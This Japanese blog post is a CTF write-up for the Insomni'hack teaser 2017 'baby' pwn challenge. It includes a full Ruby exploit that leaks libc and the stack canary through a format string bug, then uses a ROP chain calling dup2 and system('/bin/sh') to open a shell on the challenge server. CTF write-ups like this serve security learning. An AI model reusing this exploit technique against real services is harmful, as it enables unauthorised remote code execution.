Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

Insomni'hack teaser 2017 baby(pwn50)

大会前2日テスト期間にもかかわらず耐えきれなくついやってしまった問題.テスト勉強に追われてここ一週間ぐらいpwnやってなかったので良いwarmup問題だった.まだテスト期間なのだが,writeupぐらい早めに書こうと思った.簡単な問題だけれど新年初CTFで新年初pwnで新年初flagゲットできたので満足度は高い.

下調べ

$ file baby | sed -e 's/, /\n/g'
baby: ELF 64-bit LSB shared object
x86-64
version 1 (SYSV)
dynamically linked (uses shared libs)
for GNU/Linux 2.6.32
not stripped

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

libc配布

解析

  • fork-server型
  • Stack overflow,Format string bug, Heap overflowの3つの脆弱性がある関数を選択できる

Exploit

まずFSBを使ってlibcのアドレスやcanaryをleakさせる.その後stack overflowを使ってReturn to libcで終わり.すごくシンプル.(50点問題で最初からHOFなんて使わせないって思っていた.)
唯一考慮するといえば,fork-server型なのでそのままだと標準入出力が受け取れないというところ.そこで,今回はReturn to libcでdup2関数を使って,socketのfdをstdin,stdoutに複製する.(正直ココらへんの言葉の使い方が不安).その後,system("/bin/sh")を呼ぶ.
そうすると表現的に言えば,単純なReturn to libcというよりはROPに近い感じになるのかなぁ.
また,alarm(0xf)ぐらいで短く,フラグ探すのに手間取りそうだったので,bash -iを使ってみた.これを叩くとbashがSIGALRMを無視してくれるらしい.(参照:katagaitaiCTF勉強会 Pwnables編 2015 winter 関東|med P.267).
ただ同じディレクトリにflagがあったのでさほど意味はなかった.

以下exploit.rb

# coding: utf-8
require 'pwnlib.rb'

host = "localhost"
port =  0x539

# たまたま手元のlibcとオフセットがすべて同じだった
offset_getpwnam_r = 0xca8f0
offset_system = 0x45390
offset_binsh = 0x18c177
offset_pop_rsi_ret = 0x202e8
offset_pop_rdi_ret = 0x21102
offset_dup2  = 0xf6d90

if ARGV[0] == "r"
  host = "baby.teaser.insomnihack.ch"
  port = 1337
end

def stkof(t, send_size, payload)
  t.debug = true
  t.recv_until("> ")
  t.sendline("1")
  t.recv_until("? ")
  t.sendline(send_size.to_s)
  sleep(3)
  t.sendline(payload)
  puts t.recv_until("\n")
end

def fmt(t, payload)

  t.recv_until("> ")
  t.sendline('2')
  t.recv_until("> ")
  t.sendline(payload)
  data = t.recv_until("\n")
  t.recv_until("> ")
  t.sendline("")
  return data.gsub(/ /, "").chop

end

PwnTube.open(host, port) do |t|

  leak        = fmt(t, "%118$p").to_i(16) - 275
  libc_base   = leak - offset_getpwnam_r
  libc_system = libc_base + offset_system
  libc_binsh  = libc_base + offset_binsh
  libc_dup2   = libc_base + offset_dup2
  pop_rdi_ret = libc_base + offset_pop_rdi_ret
  pop_rsi_ret = libc_base + offset_pop_rsi_ret

  canary = fmt(t, "%138$p").to_i(16)

  puts "[+] libc base    0x%x" % libc_base
  puts "[+] libc system  0x%x" % libc_system
  puts "[+] libc binsh   0x%x" % libc_binsh
  puts "[+] canary       0x%x" % canary


  offset = 0x418
  payload = "A" * (offset - 0x10)
  payload << p64(canary)
  payload << p64(0xdeadbeefdeadbeef)

  # 8 x 13
  payload << p64(pop_rdi_ret)
  payload << p64(4)
  payload << p64(pop_rsi_ret)
  payload << p64(0)
  payload << p64(libc_dup2)

  payload << p64(pop_rdi_ret)
  payload << p64(4)
  payload << p64(pop_rsi_ret)
  payload << p64(1)
  payload << p64(libc_dup2)

  payload << p64(pop_rdi_ret)
  payload << p64(libc_binsh)
  payload << p64(libc_system)
  stkof(t, offset + 8 * 13, payload)

  t.sendline("/bin/bash -i")
  t.shell

end

以下が実行結果.フラグ取れて満足して二回目にdateコマンドを叩いてalarmが無視されている時間経過していることを示そうと思ったら,すっかりわすれて風呂に入ってしまったため20分近くたっている.しかしその後コマンド叩いても反応するあたり,やっぱり無視できている.

f:id:encry1024:20170123222132p:plain

感想

テスト勉強の退屈から逃れることが出来たのでよかった.